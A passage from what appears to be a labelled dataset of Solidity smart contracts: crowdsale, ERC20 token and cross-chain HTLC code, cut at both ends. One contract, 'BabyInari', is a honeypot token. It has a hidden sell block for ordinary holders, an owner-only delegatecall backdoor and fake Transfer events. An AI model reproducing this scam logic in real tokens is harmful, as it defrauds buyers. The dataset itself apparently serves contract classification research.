Crowdsale(_rate, address(payments), _token) TimedCrowdsale(_openingTime, _closingTime) RefundableCrowdsale(_goal) PostDeliveryCrowdsale() { require(_cap > 0, "cap is not > 0"); require(_goal < _cap, "goal is not < cap"); require(_wallet != address(0)); beneficiary = _wallet; cap = _cap; usd = _usd; } function capReached() public view returns (bool) { return _reached(cap); } function goalReached() public view returns (bool) { return _reached(goal); } function hasClosed() public view returns (bool) { return _reached(cap.mul(99).div(100)) || super.hasClosed(); } function reverse(address _account) public onlyOwner { require(!isFinalized); WhitelistInterface whitelist = whitelistProxy.whitelist(); require(!whitelist.hasRole(_account, "authorized")); uint256 balance = balances[_account]; balances[_account] = 0; totalTokensSold = totalTokensSold.sub(balance); usdInvestment[_account] = 0; weiRaised = weiRaised.sub(balance / rate); payments.addPayment(_account, balance / rate); } function withdrawTokens() public { require(isFinalized && goalReached(), "withdrawTokens requires the TokenSale to be successfully finalized"); uint256 extra = totalTokens.sub(totalTokensSold).mul(balances[msg.sender]) / totalTokensSold; balances[msg.sender] = balances[msg.sender].add(extra); super.withdrawTokens(); } function finalization() internal { super.finalization(); totalTokens = token.balanceOf(address(this)); MedianizerInterface medianizer = medianizerProxy.medianizer(); usdPerEthOnFinalize = uint256(medianizer.read()); if (goalReached()) { payments.addPayment(beneficiary, weiRaised); } else { token.safeTransfer(owner, totalTokens); } } function _getUsdAmount(uint256 _weiAmount) internal view returns (uint256) { MedianizerInterface medianizer = medianizerProxy.medianizer(); uint256 usdPerEth = isFinalized ? usdPerEthOnFinalize : uint256(medianizer.read()); return _weiAmount.mul(usdPerEth).div(1e18).div(1e18); } function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { require(_weiAmount >= MINIMUM_INVESTMENT_WEI && (balances[_beneficiary] / rate).add(_weiAmount) <= CAP_INVESTMENT_WEI, "_preValidatePurchase invalid _weiAmount"); super._preValidatePurchase(_beneficiary, _weiAmount); WhitelistInterface whitelist = whitelistProxy.whitelist(); usdInvestment[_beneficiary] = usdInvestment[_beneficiary].add(_getUsdAmount(_weiAmount)); if (!whitelist.hasRole(_beneficiary, "uncapped")) { require(usdInvestment[_beneficiary] <= 100000); whitelist.checkRole(_beneficiary, "authorized"); } if (usd) { require(_getUsdAmount(weiRaised.add(_weiAmount)) <= cap, "usd raised must not exceed cap"); } else { require(weiRaised.add(_weiAmount) <= cap, "wei raised must not exceed cap"); } } function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { totalTokensSold = totalTokensSold.add(_tokenAmount); require(totalTokensSold <= token.balanceOf(address(this)), "totalTokensSold raised must not exceed balanceOf `this`"); super._processPurchase(_beneficiary, _tokenAmount); } function _reached(uint256 _target) internal view returns (bool) { if (usd) { return _getUsdAmount(weiRaised) >= _target; } else { return weiRaised >= _target; } } }
1
3,758
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract BabyInari { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,489
pragma solidity ^0.4.11; contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(0x0, _to, _amount); return true; } function finishMinting() onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract DogCoin is MintableToken { string public name = "DogCoin"; string public symbol = "DOG"; uint256 public decimals = 18; } library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Crowdsale { using SafeMath for uint256; MintableToken public token; uint256 public startTime; uint256 public endTime; address public wallet; uint256 public rate; uint256 public weiRaised; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) { require(_startTime >= now); require(_endTime >= _startTime); require(_rate > 0); require(_wallet != 0x0); token = createTokenContract(); startTime = _startTime; endTime = _endTime; rate = _rate; wallet = _wallet; } function createTokenContract() internal returns (MintableToken) { return new MintableToken(); } function () payable { buyTokens(msg.sender); } function buyTokens(address beneficiary) payable { require(beneficiary != 0x0); require(validPurchase()); uint256 weiAmount = msg.value; uint256 tokens = weiAmount.mul(rate); weiRaised = weiRaised.add(weiAmount); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } function forwardFunds() internal { wallet.transfer(msg.value); } function validPurchase() internal constant returns (bool) { bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; return withinPeriod && nonZeroPurchase; } function hasEnded() public constant returns (bool) { return now > endTime; } } contract CappedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public cap; function CappedCrowdsale(uint256 _cap) { require(_cap > 0); cap = _cap; } function validPurchase() internal constant returns (bool) { bool withinCap = weiRaised.add(msg.value) <= cap; return super.validPurchase() && withinCap; } function hasEnded() public constant returns (bool) { bool capReached = weiRaised >= cap; return super.hasEnded() || capReached; } } contract DogCoinCrowdsale is CappedCrowdsale { function DogCoinCrowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, uint256 _cap, address _wallet) CappedCrowdsale(_cap) Crowdsale(_startTime, _endTime, _rate, _wallet) { } function createTokenContract() internal returns (MintableToken) { return new DogCoin(); } }
1
4,880
pragma solidity ^0.4.24; contract Owned { event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(msg.sender == owner, "Not owner"); _; } address public owner; constructor() public { owner = msg.sender; } address public newOwner; function transferOwner(address _newOwner) public onlyOwner { require(_newOwner != address(0), "New owner is the zero address"); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } function changeOwner(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { if (msg.sender == newOwner) { owner = newOwner; } } function renounceOwnership() public onlyOwner { owner = address(0); } } pragma solidity ^0.4.24; contract Halt is Owned { bool public halted = false; modifier notHalted() { require(!halted, "Smart contract is halted"); _; } modifier isHalted() { require(halted, "Smart contract is not halted"); _; } function setHalt(bool halt) public onlyOwner { halted = halt; } } pragma solidity 0.4.26; contract ReentrancyGuard { bool private _notEntered; constructor () internal { _notEntered = true; } modifier nonReentrant() { require(_notEntered, "ReentrancyGuard: reentrant call"); _notEntered = false; _; _notEntered = true; } } pragma solidity ^0.4.24; library BasicStorageLib { struct UintData { mapping(bytes => mapping(bytes => uint)) _storage; } struct BoolData { mapping(bytes => mapping(bytes => bool)) _storage; } struct AddressData { mapping(bytes => mapping(bytes => address)) _storage; } struct BytesData { mapping(bytes => mapping(bytes => bytes)) _storage; } struct StringData { mapping(bytes => mapping(bytes => string)) _storage; } function setStorage(UintData storage self, bytes memory key, bytes memory innerKey, uint value) internal { self._storage[key][innerKey] = value; } function getStorage(UintData storage self, bytes memory key, bytes memory innerKey) internal view returns (uint) { return self._storage[key][innerKey]; } function delStorage(UintData storage self, bytes memory key, bytes memory innerKey) internal { delete self._storage[key][innerKey]; } function setStorage(BoolData storage self, bytes memory key, bytes memory innerKey, bool value) internal { self._storage[key][innerKey] = value; } function getStorage(BoolData storage self, bytes memory key, bytes memory innerKey) internal view returns (bool) { return self._storage[key][innerKey]; } function delStorage(BoolData storage self, bytes memory key, bytes memory innerKey) internal { delete self._storage[key][innerKey]; } function setStorage(AddressData storage self, bytes memory key, bytes memory innerKey, address value) internal { self._storage[key][innerKey] = value; } function getStorage(AddressData storage self, bytes memory key, bytes memory innerKey) internal view returns (address) { return self._storage[key][innerKey]; } function delStorage(AddressData storage self, bytes memory key, bytes memory innerKey) internal { delete self._storage[key][innerKey]; } function setStorage(BytesData storage self, bytes memory key, bytes memory innerKey, bytes memory value) internal { self._storage[key][innerKey] = value; } function getStorage(BytesData storage self, bytes memory key, bytes memory innerKey) internal view returns (bytes memory) { return self._storage[key][innerKey]; } function delStorage(BytesData storage self, bytes memory key, bytes memory innerKey) internal { delete self._storage[key][innerKey]; } function setStorage(StringData storage self, bytes memory key, bytes memory innerKey, string memory value) internal { self._storage[key][innerKey] = value; } function getStorage(StringData storage self, bytes memory key, bytes memory innerKey) internal view returns (string memory) { return self._storage[key][innerKey]; } function delStorage(StringData storage self, bytes memory key, bytes memory innerKey) internal { delete self._storage[key][innerKey]; } } pragma solidity ^0.4.24; contract BasicStorage { using BasicStorageLib for BasicStorageLib.UintData; using BasicStorageLib for BasicStorageLib.BoolData; using BasicStorageLib for BasicStorageLib.AddressData; using BasicStorageLib for BasicStorageLib.BytesData; using BasicStorageLib for BasicStorageLib.StringData; BasicStorageLib.UintData internal uintData; BasicStorageLib.BoolData internal boolData; BasicStorageLib.AddressData internal addressData; BasicStorageLib.BytesData internal bytesData; BasicStorageLib.StringData internal stringData; } pragma solidity ^0.4.26; interface IRC20Protocol { function transfer(address, uint) external returns (bool); function transferFrom(address, address, uint) external returns (bool); function balanceOf(address _owner) external view returns (uint); } pragma solidity 0.4.26; interface IQuota { function userLock(uint tokenId, bytes32 storemanGroupId, uint value) external; function userBurn(uint tokenId, bytes32 storemanGroupId, uint value) external; function smgRelease(uint tokenId, bytes32 storemanGroupId, uint value) external; function smgMint(uint tokenId, bytes32 storemanGroupId, uint value) external; function upgrade(bytes32 storemanGroupId) external; function transferAsset(bytes32 srcStoremanGroupId, bytes32 dstStoremanGroupId) external; function receiveDebt(bytes32 srcStoremanGroupId, bytes32 dstStoremanGroupId) external; function getUserMintQuota(uint tokenId, bytes32 storemanGroupId) external view returns (uint); function getSmgMintQuota(uint tokenId, bytes32 storemanGroupId) external view returns (uint); function getUserBurnQuota(uint tokenId, bytes32 storemanGroupId) external view returns (uint); function getSmgBurnQuota(uint tokenId, bytes32 storemanGroupId) external view returns (uint); function getAsset(uint tokenId, bytes32 storemanGroupId) external view returns (uint asset, uint asset_receivable, uint asset_payable); function getDebt(uint tokenId, bytes32 storemanGroupId) external view returns (uint debt, uint debt_receivable, uint debt_payable); function isDebtClean(bytes32 storemanGroupId) external view returns (bool); } pragma solidity ^0.4.24; interface IStoremanGroup { function getSelectedSmNumber(bytes32 groupId) external view returns(uint number); function getStoremanGroupConfig(bytes32 id) external view returns(bytes32 groupId, uint8 status, uint deposit, uint chain1, uint chain2, uint curve1, uint curve2, bytes gpk1, bytes gpk2, uint startTime, uint endTime); function getDeposit(bytes32 id) external view returns(uint); function getStoremanGroupStatus(bytes32 id) external view returns(uint8 status, uint startTime, uint endTime); function setGpk(bytes32 groupId, bytes gpk1, bytes gpk2) external; function setInvalidSm(bytes32 groupId, uint[] indexs, uint8[] slashTypes) external returns(bool isContinue); function getThresholdByGrpId(bytes32 groupId) external view returns (uint); function getSelectedSmInfo(bytes32 groupId, uint index) external view returns(address wkAddr, bytes PK, bytes enodeId); function recordSmSlash(address wk) public; } pragma solidity 0.4.26; interface ITokenManager { function getTokenPairInfo(uint id) external view returns (uint origChainID, bytes tokenOrigAccount, uint shadowChainID, bytes tokenShadowAccount); function getTokenPairInfoSlim(uint id) external view returns (uint origChainID, bytes tokenOrigAccount, uint shadowChainID); function getAncestorInfo(uint id) external view returns (bytes account, string name, string symbol, uint8 decimals, uint chainId); function mintToken(address tokenAddress, address to, uint value) external; function burnToken(address tokenAddress, address from, uint value) external; } pragma solidity 0.4.26; interface ISignatureVerifier { function verify( uint curveId, bytes32 signature, bytes32 groupKeyX, bytes32 groupKeyY, bytes32 randomPointX, bytes32 randomPointY, bytes32 message ) external returns (bool); } pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath mul overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath div 0"); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub b > a"); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath add overflow"); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath mod 0"); return a % b; } } pragma solidity ^0.4.26; pragma experimental ABIEncoderV2; library HTLCTxLib { using SafeMath for uint; enum TxStatus {None, Locked, Redeemed, Revoked, AssetLocked, DebtLocked} struct HTLCUserParams { bytes32 xHash; bytes32 smgID; uint tokenPairID; uint value; uint lockFee; uint lockedTime; } struct BaseTx { bytes32 smgID; uint lockedTime; uint beginLockedTime; TxStatus status; } struct UserTx { BaseTx baseTx; uint tokenPairID; uint value; uint fee; address userAccount; } struct SmgTx { BaseTx baseTx; uint tokenPairID; uint value; address userAccount; } struct DebtTx { BaseTx baseTx; bytes32 srcSmgID; } struct Data { mapping(bytes32 => UserTx) mapHashXUserTxs; mapping(bytes32 => SmgTx) mapHashXSmgTxs; mapping(bytes32 => DebtTx) mapHashXDebtTxs; } function addUserTx(Data storage self, HTLCUserParams memory params) public { UserTx memory userTx = self.mapHashXUserTxs[params.xHash]; require(userTx.baseTx.status == TxStatus.None, "User tx exists"); userTx.baseTx.smgID = params.smgID; userTx.baseTx.lockedTime = params.lockedTime; userTx.baseTx.beginLockedTime = now; userTx.baseTx.status = TxStatus.Locked; userTx.tokenPairID = params.tokenPairID; userTx.value = params.value; userTx.fee = params.lockFee; userTx.userAccount = msg.sender; self.mapHashXUserTxs[params.xHash] = userTx; } function redeemUserTx(Data storage self, bytes32 x) external returns(bytes32 xHash) { xHash = sha256(abi.encodePacked(x)); UserTx storage userTx = self.mapHashXUserTxs[xHash]; require(userTx.baseTx.status == TxStatus.Locked, "Status is not locked"); require(now < userTx.baseTx.beginLockedTime.add(userTx.baseTx.lockedTime), "Redeem timeout"); userTx.baseTx.status = TxStatus.Redeemed; return xHash; } function revokeUserTx(Data storage self, bytes32 xHash) external { UserTx storage userTx = self.mapHashXUserTxs[xHash]; require(userTx.baseTx.status == TxStatus.Locked, "Status is not locked"); require(now >= userTx.baseTx.beginLockedTime.add(userTx.baseTx.lockedTime), "Revoke is not permitted"); userTx.baseTx.status = TxStatus.Revoked; } function getUserTx(Data storage self, bytes32 xHash) external view returns (bytes32, uint, uint, uint, address) { UserTx storage userTx = self.mapHashXUserTxs[xHash]; return (userTx.baseTx.smgID, userTx.tokenPairID, userTx.value, userTx.fee, userTx.userAccount); } function addSmgTx(Data storage self, bytes32 xHash, bytes32 smgID, uint tokenPairID, uint value, address userAccount, uint lockedTime) external { SmgTx memory smgTx = self.mapHashXSmgTxs[xHash]; require(value != 0, "Value is invalid"); require(smgTx.baseTx.status == TxStatus.None, "Smg tx exists"); smgTx.baseTx.smgID = smgID; smgTx.baseTx.status = TxStatus.Locked; smgTx.baseTx.lockedTime = lockedTime; smgTx.baseTx.beginLockedTime = now; smgTx.tokenPairID = tokenPairID; smgTx.value = value; smgTx.userAccount = userAccount; self.mapHashXSmgTxs[xHash] = smgTx; } function redeemSmgTx(Data storage self, bytes32 x) external returns(bytes32 xHash) { xHash = sha256(abi.encodePacked(x)); SmgTx storage smgTx = self.mapHashXSmgTxs[xHash]; require(smgTx.baseTx.status == TxStatus.Locked, "Status is not locked"); require(now < smgTx.baseTx.beginLockedTime.add(smgTx.baseTx.lockedTime), "Redeem timeout"); smgTx.baseTx.status = TxStatus.Redeemed; return xHash; } function revokeSmgTx(Data storage self, bytes32 xHash) external { SmgTx storage smgTx = self.mapHashXSmgTxs[xHash]; require(smgTx.baseTx.status == TxStatus.Locked, "Status is not locked"); require(now >= smgTx.baseTx.beginLockedTime.add(smgTx.baseTx.lockedTime), "Revoke is not permitted"); smgTx.baseTx.status = TxStatus.Revoked; } function getSmgTx(Data storage self, bytes32 xHash) external view returns (bytes32, uint, uint, address) { SmgTx storage smgTx = self.mapHashXSmgTxs[xHash]; return (smgTx.baseTx.smgID, smgTx.tokenPairID, smgTx.value, smgTx.userAccount); } function addDebtTx(Data storage self, bytes32 xHash, bytes32 srcSmgID, bytes32 destSmgID, uint lockedTime, TxStatus status) external { DebtTx memory debtTx = self.mapHashXDebtTxs[xHash]; require(debtTx.baseTx.status == TxStatus.None, "Debt tx exists"); debtTx.baseTx.smgID = destSmgID; debtTx.baseTx.status = status; debtTx.baseTx.lockedTime = lockedTime; debtTx.baseTx.beginLockedTime = now; debtTx.srcSmgID = srcSmgID; self.mapHashXDebtTxs[xHash] = debtTx; } function redeemDebtTx(Data storage self, bytes32 x, TxStatus status) external returns(bytes32 xHash) { xHash = sha256(abi.encodePacked(x)); DebtTx storage debtTx = self.mapHashXDebtTxs[xHash]; require(debtTx.baseTx.status == status, "Status is not locked"); require(now < debtTx.baseTx.beginLockedTime.add(debtTx.baseTx.lockedTime), "Redeem timeout"); debtTx.baseTx.status = TxStatus.Redeemed; return xHash; } function revokeDebtTx(Data storage self, bytes32 xHash, TxStatus status) external { DebtTx storage debtTx = self.mapHashXDebtTxs[xHash]; require(debtTx.baseTx.status == status, "Status is not locked"); require(now >= debtTx.baseTx.beginLockedTime.add(debtTx.baseTx.lockedTime), "Revoke is not permitted"); debtTx.baseTx.status = TxStatus.Revoked; } function getDebtTx(Data storage self, bytes32 xHash) external view returns (bytes32, bytes32) { DebtTx storage debtTx = self.mapHashXDebtTxs[xHash]; return (debtTx.srcSmgID, debtTx.baseTx.smgID); } function getLeftTime(uint endTime) private view returns (uint) { if (now < endTime) { return endTime.sub(now); } return 0; } function getLeftLockedTime(Data storage self, bytes32 xHash) external view returns (uint) { UserTx storage userTx = self.mapHashXUserTxs[xHash]; if (userTx.baseTx.status != TxStatus.None) { return getLeftTime(userTx.baseTx.beginLockedTime.add(userTx.baseTx.lockedTime)); } SmgTx storage smgTx = self.mapHashXSmgTxs[xHash]; if (smgTx.baseTx.status != TxStatus.None) { return getLeftTime(smgTx.baseTx.beginLockedTime.add(smgTx.baseTx.lockedTime)); } DebtTx storage debtTx = self.mapHashXDebtTxs[xHash]; if (debtTx.baseTx.status != TxStatus.None) { return getLeftTime(debtTx.baseTx.beginLockedTime.add(debtTx.baseTx.lockedTime)); } require(false, 'invalid xHash'); } } pragma solidity ^0.4.26; library RapidityTxLib { enum TxStatus {None, Redeemed} struct Data { mapping(bytes32 => TxStatus) mapTxStatus; } function addRapidityTx(Data storage self, bytes32 uniqueID) internal { TxStatus status = self.mapTxStatus[uniqueID]; require(status == TxStatus.None, "Rapidity tx exists"); self.mapTxStatus[uniqueID] = TxStatus.Redeemed; } } pragma solidity ^0.4.26; library CrossTypes { using SafeMath for uint; struct Data { HTLCTxLib.Data htlcTxData; RapidityTxLib.Data rapidityTxData; IQuota quota; ITokenManager tokenManager; IStoremanGroup smgAdminProxy; address smgFeeProxy; ISignatureVerifier sigVerifier; mapping(bytes32 => uint) mapStoremanFee; mapping(uint => mapping(uint =>uint)) mapLockFee; mapping(uint => mapping(uint =>uint)) mapRevokeFee; } function bytesToAddress(bytes b) internal pure returns (address addr) { assembly { addr := mload(add(b,20)) } } function transfer(address tokenScAddr, address to, uint value) internal returns(bool) { uint beforeBalance; uint afterBalance; beforeBalance = IRC20Protocol(tokenScAddr).balanceOf(to); tokenScAddr.call(bytes4(keccak256("transfer(address,uint256)")), to, value); afterBalance = IRC20Protocol(tokenScAddr).balanceOf(to); return afterBalance == beforeBalance.add(value); } function transferFrom(address tokenScAddr, address from, address to, uint value) internal returns(bool) { uint beforeBalance; uint afterBalance; beforeBalance = IRC20Protocol(tokenScAddr).balanceOf(to); tokenScAddr.call(bytes4(keccak256("transferFrom(address,address,uint256)")), from, to, value); afterBalance = IRC20Protocol(tokenScAddr).balanceOf(to); return afterBalance == beforeBalance.add(value); } } pragma solidity ^0.4.26; contract CrossStorage is BasicStorage { using HTLCTxLib for HTLCTxLib.Data; using RapidityTxLib for RapidityTxLib.Data; CrossTypes.Data internal storageData; uint public lockedTime = uint(3600*36); uint public smgFeeReceiverTimeout = 